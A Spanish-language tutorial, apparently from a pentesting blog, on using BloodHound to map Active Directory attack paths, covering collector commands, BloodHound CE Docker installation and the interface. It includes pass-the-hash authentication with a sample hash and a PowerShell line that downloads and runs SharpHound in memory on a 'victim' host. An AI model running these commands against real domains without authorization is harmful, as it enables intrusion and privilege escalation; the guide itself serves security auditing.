BloodHound
Introduction
BloodHound es una herramienta fundamental en auditorÃas de Active Directory, diseñada para identificar relaciones de confianza y posibles vectores de ataque dentro de un dominio. Permite analizar cómo un atacante podrÃa moverse lateralmente o escalar privilegios aprovechando relaciones ya existentes entre objetos del dominio.
En esta sección vamos a centrarnos en explicar los distintos métodos de recolección de datos disponibles (collectors), comparando su uso y aplicabilidad según el entorno. Además, detallaremos la instalación y diferencias clave entre BloodHound clásico y BloodHound Community Edition (CE).
A lo largo del blog veremos:
Cómo utilizar los diferentes collectors:
SharpHound.exe
: el ejecutable clásico.SharpHound.ps1
: ideal para entornos con PowerShell habilitado.bloodhound-python
: pensado para ejecución desde sistemas Linux.RustHound-CE
: el collector moderno optimizado para BH-CE.NetExec
: permite extraer relaciones básicas directamente desde Linux.certipy-ad
: enfocado en la detección de relaciones dentro de entornos con AD CS, exportando en formato compatible con BloodHound CE
Cuándo conviene usar cada uno.
Instalación paso a paso tanto de BloodHound clásico como de BloodHound CE.
Casos prácticos de uso en auditorÃas reales o entornos simulados.
El objetivo es dejar documentado de forma clara y funcional cómo trabajar con BloodHound, integrarlo en una auditorÃa y aprovechar al máximo sus capacidades.

Collectors
Para que BloodHound pueda generar un grafo útil y preciso del dominio, primero es necesario realizar una fase de recolección de información. Esta tarea recae sobre los collectors, que son los encargados de extraer los datos estructurales del entorno Active Directory: relaciones entre usuarios y grupos, sesiones activas, delegaciones, permisos sobre objetos, entre otros.
Actualmente existen varios collectors disponibles, cada uno diseñado para adaptarse a distintos escenarios operativos, niveles de privilegios o restricciones del entorno. Elegir el collector adecuado depende tanto del contexto técnico como de los objetivos del análisis.
En este apartado documentamos los principales collectors utilizados en auditorÃas de AD, incluyendo su instalación, ejecución y particularidades:
SharpHound.exe
: el ejecutable clásico para entornos Windows.SharpHound.ps1
: alternativa en PowerShell útil en entornos con polÃticas más restrictivas.bloodhound-python
: collector multiplataforma, ideal para recolección desde sistemas Linux.RustHound-CE
: pensado para BloodHound Community Edition, con un enfoque más modular y eficiente.
Esta sección tiene como objetivo servir de referencia práctica para seleccionar y utilizar el collector más adecuado en función del entorno y los objetivos de la auditorÃa.
¡MUY IMPORTANTE!
Siempre que consigamos un nuevo usuario, se recomienda lanzar de nuevo el recolector de BloodHound con esas credenciales. Es posible que el primer usuario tuviera permisos limitados para enumerar el dominio, y con el nuevo podamos obtener más relaciones o privilegios que antes no eran visibles.
Por eso, con cada cuenta nueva, lo ideal es ejecutar otro collector y generar un nuevo .zip
con la información actualizada del entorno.
bloodhound-python
Installation
sudo apt install bloodhound.py -y
pip install bloodhound
pipx install bloodhound
git clone https://github.com/dirkjanm/BloodHound.py
pip install .
Use
Se recomienda antes sincronizar la hora con el DC para evitar problemas de KRB_AP_ERR_SKEW.
sudo timedatectl set-ntp 0
sudo ntpdate -s 10.10.10.10
# Autenticación usuario y contraseña
bloodhound-python -u 'user' -p 'Gzzcoo123' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
# Autenticación a través de Pass-the-Hash (PtH)
bloodhound-python -u 'user' --hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All
# Autenticación mediante Kerberos (.ccache)
bloodhound-python -u 'user' -k -no-pass -d 'dominio.htb' -ns 10.10.10.10 -dc 'dc01.dominio.htb' --zip -c All --auth-method kerberos
RustHound-CE
Installation
Tenemos que disponer de rust instalado en Kali, podemos seguir el siguiente blog para instalarlo.
Una vez instalado rust en nuestro equipo, instalaremos RustHound-CE a través del siguiente comando.
cargo install rusthound-ce
Use
# Autenticación usuario y contraseña
rusthound -d dominio.htb -i 10.10.10.10 -u 'user@domino.htb' -p 'Password01!' -z --adcs --old-bloodhound
# Autenticación mediante Kerberos (.ccache)
rusthound -d dominio.htb -i 10.10.10.10 -k -f dc01.dominio.htb -z --adcs --old-bloodhound
SharpHound.ps1
Importar en memoria SharpHound.ps1
# Importar SharpHound.ps1 a través de un servidor web que tiene alojado el script PS!, puede ser el nuestro propio de atacante.
IEX(New-Object Net.WebClient).downloadString("https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/master/Collectors/SharpHound.ps1")
# Teniendo el script de PowerShell en la máquina vÃcitma podemos importarlo de la siguiente manera
. .\SharpHound.ps1
Import-Module .\SharpHound.ps1
Recoletar información a través de SharpHound.ps1
Invoke-BloodHound -CollectionMethods All -Domain contoso.com
SharpHound.exe
Pasaremos el binario al equipo vÃctima y lo ejecutaremos para recolectar la información.
.\SharpHound.exe --CollectionMethods All
NetExec
# Autenticación a través de usuario y contraseña
nxc ldap 10.10.10.10 -u 'user' -p 'Password01!' --bloodhound --collection All --dns-server 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
nxc ldap 10.10.10.10 -u 'user' -H 'fbaa3e2294376dc0f5aeb6b41ffa52b7' --bloodhound --collection All --dns-server 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
nxc ldap dc.dominio.htb --use-kcache --bloodhound --collection All --dns-server 10.10.10.10
certipy-ad
BloodHound
# Autenticación a través de usuario y contraseña
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
certipy-ad find -k -no-pass -bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
Old BloodHound
# Autenticación a través de usuario y contraseña
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -p 'Password01!' -old-bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Pass-the-Hash (PtH)
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10 -scheme ldap
certipy-ad find -u 'user@dominio.htb' -hashes ':fbaa3e2294376dc0f5aeb6b41ffa52b7' -old-bloodhound -dc-ip 10.10.10.10
# Autenticación a través de Kerberos (.ccache)
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug -scheme ldap
certipy-ad find -k -no-pass -old-bloodhound -target dc.dominio.htb -dc-ip 10.10.10.10 -debug
BloodHound CE
Installation
Actualizaremos los repositorios e instalaremos docker-compose en nuestro equipo.
sudo apt update -y && sudo apt install docker-compose -y

Nos descargaremos el archivo del docker-compose.yml
con cURL
y comprobaremos que se ha descargado correctamente.
curl -L https://ghst.ly/getbhce -o docker-compose.yml

También podemos crear directamente el contenido del docker-compose.yml
.
# Copyright 2023 Specter Ops, Inc.
#
# Licensed under the Apache License, Version 2.0
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# SPDX-License-Identifier: Apache-2.0
services:
app-db:
image: docker.io/library/postgres:16
environment:
- PGUSER=${POSTGRES_USER:-bloodhound}
- POSTGRES_USER=${POSTGRES_USER:-bloodhound}
- POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition}
- POSTGRES_DB=${POSTGRES_DB:-bloodhound}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
# ports:
# - 127.0.0.1:${POSTGRES_PORT:-5432}:5432
volumes:
- postgres-data:/var/lib/postgresql/data
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p 5432"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
graph-db:
image: docker.io/library/neo4j:4.4.42
environment:
- NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition}
- NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true}
# Database ports are disabled by default. Please change your database password to something secure before uncommenting
ports:
- 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687
- 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474
volumes:
- ${NEO4J_DATA_MOUNT:-neo4j-data}:/data
healthcheck:
test:
[
"CMD-SHELL",
"wget -O /dev/null -q http://localhost:7474 || exit 1"
]
interval: 10s
timeout: 5s
retries: 5
start_period: 30s
bloodhound:
image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest}
environment:
- bhe_disable_cypher_complexity_limit=${bhe_disable_cypher_complexity_limit:-false}
- bhe_enable_cypher_mutations=${bhe_enable_cypher_mutations:-false}
- bhe_graph_query_memory_limit=${bhe_graph_query_memory_limit:-2}
- bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db
- bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/
- bhe_recreate_default_admin=${bhe_recreate_default_admin:-false}
- bhe_graph_driver=${GRAPH_DRIVER:-neo4j}
### Add additional environment variables you wish to use here.
### For common configuration options that you might want to use environment variables for, see `.env.example`
### example: bhe_database_connection=${bhe_database_connection}
### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}`
### is the variable available outside of Docker
ports:
### Default to localhost to prevent accidental publishing of the service to your outer networks
### These can be modified by your .env file or by setting the environment variables in your Docker host OS
- ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080
### Uncomment to use your own bloodhound.config.json to configure the application
# volumes:
# - ./bloodhound.config.json:/bloodhound.config.json:ro
depends_on:
app-db:
condition: service_healthy
graph-db:
condition: service_healthy
volumes:
neo4j-data:
postgres-data:
Iniciaremos los contenedores definidos en el archivo docker-compose.yml
.
sudo docker-compose up -d

Verificaremos que los contenedores se encuentran en ejecución y no ha habido ningún fallo.
sudo docker ps

Comprobaremos la contraseña inicial en los logs.
sudo docker logs bloodhound-ce_bloodhound_1

Accederemos a http://localhost:8080 y asignaremos las siguientes credenciales:
Username: admin
Password: Contraseña Inicial obtenida en el punto anterior

Indicaremos la contraseña inicial en el primer campo, y la nueva contraseña que deberá cumplir los requisitos establecidos.

Ya dispondremos de nuestro BloodHound CE
instalado correctamente en nuestro equipo a través de Docker.

Video installation guide
Start BloodHound CE
En mi caso tengo el archivo docker-compose.yml
en el directorio /opt/BloodHound-CE
. De esta manera sin importar en el directorio donde me encuentre lo levanto directamente con el siguiente comando.
Para iniciar el BloodHound-CE deberemos tener los contenedores ya instalados tal y como se indica en los puntos anteriores.
El comando sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml up -d
nos sirve para iniciar de cero los contenedores, esto es útil si hay alguna modificación en el docker-compose.yml. En nuestro caso no lo modificaremos, por lo tanto deberemos utilizar el start
para iniciarlo.
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start

Stop BloodHound CE
Para parar BloodHound-CE
ejecutaremos el siguiente comando, asà liberamos los puertos que utiliza, etc. Luego podemos levantarlo con el comando anterior o con sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml start
sudo docker-compose -f /opt/BloodHound-CE/docker-compose.yml stop

Ingest Data
Para subir nuestra información recolectada a través de los Collectors, deberemos de ingresar a http://localhost:8080. Una vez nos encontremos en el panel de BloodHound-CE realizaremos los siguientes pasos.
Ingresar al apartado de "Administration"
Acceder a la pestaña de "File Ingest"
Click en "Upload File(s)"

Haremos click dentro de la casilla o también podremos arrastrar directamente nuestor .zip o los archivos JSON sueltos.

Seleccioanaremos nuestro archivo comprimido.

Una vez seleccionado nuestro archivo, le daremos a la opción de Upload.

Confirmaremos que nso aparece el siguiente mensaje indicando que se han subido correctamente. Le daremos a Close.

Verificaremos que después de que se integre correctamente los datos recopilados, nos aparece como Complete. En caso de que aparezca otro estado como Cancelled, volver a subir el archivo. Si el problema persiste, es altamente posible que el problema se encuentre en la compatibilidad del Collector utilizado, probar con otro.
Una vez todo subido, podemos hacer uso de BloodHound-CE y navegar en la interfaz.

Erase Data
Cuando necesitemos borrar la "base de datos" que tiene BloodHound-CE de los datos subidos anteriormente, deberemos de eliminar los datos. Podemos hacer una "limpieza profunda" para no dejar rastro de los datos subidos. Para ello, realizaremos los siguientes pasos.
Accederemos al apartado "Administration"
Ingresaremos al apartado de "Database Management"
Marcaremos todas las casillas, para la "limpieza profunda"
Haremos click en la opción de "Proceed"
Ingresaremos la palabra clave para confirmar la eliminación "Please delete my data"
Una vez ingresada la palabra de confirmación, le daremos a "Confirm".

How to use
Una vez tengamos subido nuestros datos en BloodHound-CE, podremos navegar en la interfaz accediendo al apartado de "Explore".

Search
En el apartado de SEARCH
podemos buscar por un nodo/objeto que queramos consultar, si no aparece significa que no existe o bien a la hora de recolectar la información no ha aparecido (seguramente por tema de permisos).

Click node info
Al hacer click sobre un nodo/objecto, nos aparecerá en la zona lateral derecha el siguiente menú con distintos submenús del nodo/objeto que investigaremos a continuación.

Disponemos de varios sub apartados, aunque los más relevantes de momento son los siguientes.
En el apartado de Object Information, nos aparecerá toda la información del nodo/objeto. Entre la información que podemos destacar se encuentra la de:
Distinguished Name
Si el usuario dispone de DONT_REQ_PREAUTH (Es decir, susceptible a AS-REP Roast)
Si se encuentra habilitado

Pathfinding
La funcionalidad de Pathfinding en BloodHound CE permite buscar rutas de ataque desde un nodo de inicio hasta un objetivo, evaluando los privilegios y relaciones entre usuarios y grupos.
En este ejemplo, partimos desde OLIVIA@ADMINISTRATOR.HTB
, que tiene un GenericAll
sobre MICHAEL@ADMINISTRATOR.HTB
, lo que permite control total sobre esa cuenta. A su vez, MICHAEL
puede forzar el cambio de contraseña de BENJAMIN@ADMINISTRATOR.HTB
, lo que completa la cadena de ataque.
Este tipo de vista es clave para identificar caminos reales de escalada de privilegios o movimientos laterales dentro del dominio.

Edges
En BloodHound CE, los edges representan las relaciones entre objetos del dominio. Estas relaciones pueden ser de distintos tipos: pertenencia a grupos (MemberOf
), delegaciones (GetChanges
, GenericAll
, etc.), sesiones activas, ACLs y muchas otras.
Cuando hacemos clic en un edge, se abre un panel con más detalle sobre esa relación. Este panel incluye diferentes secciones:

Muestra una descripción técnica de la relación detectada.

Marking Objects as Owned/High Value
BloodHound CE permite marcar manualmente objetos del dominio como Owned (comprometidos) o High Value (objetivos prioritarios). Esto nos ayuda a visualizar mejor el progreso de una auditorÃa y enfocar los análisis de ruta hacia activos crÃticos.
Estas marcas se aplican desde el clic derecho sobre el nodo. Una vez marcado, el nodo se resalta visualmente en el grafo con un Ãcono correspondiente.
Marcamos un nodo como comprometido cuando ya tenemos control sobre él (por ejemplo, si conseguimos credenciales o ejecución remota).


En el panel Group Management podemos gestionar de forma organizada los objetos marcados como Owned
o High Value
. Su uso se resume en los siguientes pasos:
Accedemos al apartado Group Management desde el Ãcono de personas (barra lateral izquierda).
Seleccionamos el grupo que queremos revisar
Owned/High Value
.Elegimos el entorno, normalmente
All Active Directory Domains
.Aplicamos filtros si queremos ver solo ciertos tipos de nodos (
User
,Group
oComputer, etc
).Se muestra el listado de objetos que pertenecen a ese grupo, junto con su tipo y estado.
Al hacer clic sobre un nodo, se despliega su información detallada en la parte derecha: nombre, SID, SO, último logon, delegaciones, etc.
Esta sección permite llevar control visual de los objetivos comprometidos y planificar próximos movimientos dentro del dominio.


Querys Cypher
En esta sección podemos lanzar queries en lenguaje Cypher para consultar relaciones dentro del grafo de BloodHound. Es muy útil para buscar rutas de ataque o listar objetos crÃticos de forma más precisa.
BloodHound CE ya trae varias queries predefinidas, como:
Usuarios Kerberoastables
Rutas más cortas hacia Domain Admins
Listado de todos los Domain Admins
Principales con privilegios peligrosos (DCSync, GenericAll, etc.)
También podemos modificar estas queries o crear las nuestras según lo que necesitemos buscar en el entorno.


Custom Querys
BloodHound CE permite crear y guardar nuestras propias queries en Cypher. Esto nos da flexibilidad para buscar relaciones especÃficas en el grafo y reutilizar esas búsquedas en futuras auditorÃas.
En el siguiente repositorio de GitHub, disponemos de algunas Querys ya creadas que podemos añadir.
En este caso, ponemos la QUERY que queremos consultar, le daremos a "Save Query".

Le asignaremos un nombre a la QUERY.

Y verificaremos que se nos guarda, al darle click nos realizará la consulta asignada.

BloodHound
Installation
Actualizaremos los repositorios e instalaremos BloodHound y Neo4j para que funcione correctamente BH.
sudo apt update -y && sudo apt install bloodhound neo4j -y

Abriremos en una terminal aparte Neo4j, se nos iniciará la interfaz web en http://localhost:7474
sudo neo4j console

Accederemos a http://localhost:7474 e ingresaremos las siguientes credenciales por defecto.
Username: neo4j
Password: neo4j

Nos pedirá cambiar la contraseña.

Una vez modificada la contraseña del Neo4j, abriremos BloodHound en segundo plano en una nueva terminal.
bloodhound > /dev/null 2>&1 & disown

Indicaremos al usuario neo4j y las nuevas credenciales modificadas. Podemos guardar las credenciales para que se nos conecte automáticamente.

Una vez inicie sesión, se iniciará correctamente BloodHound y ya podremos navegar dentro de él.

Video installation guide
Start BloodHound and Neo4j
Para iniciar BloodHound una vez ya realizada la instalación es ejecutar los siguientes comandos.
En una terminal aparte, abriremos Neo4j. Deberemos dejar que nos aparezca la lÃnea del output en el cual indica que la interfaz web está habilitada en http://localhost:7474
sudo neo4j console
Abriremos BloodHound en segundo plano, si tenemos las credenciales almacenadas con el check, iniciará sesión automáticamente.
bloodhound > /dev/null 2>&1 & disown
Ingest Data
Erase Data
How to use
Última actualización
¿Te fue útil?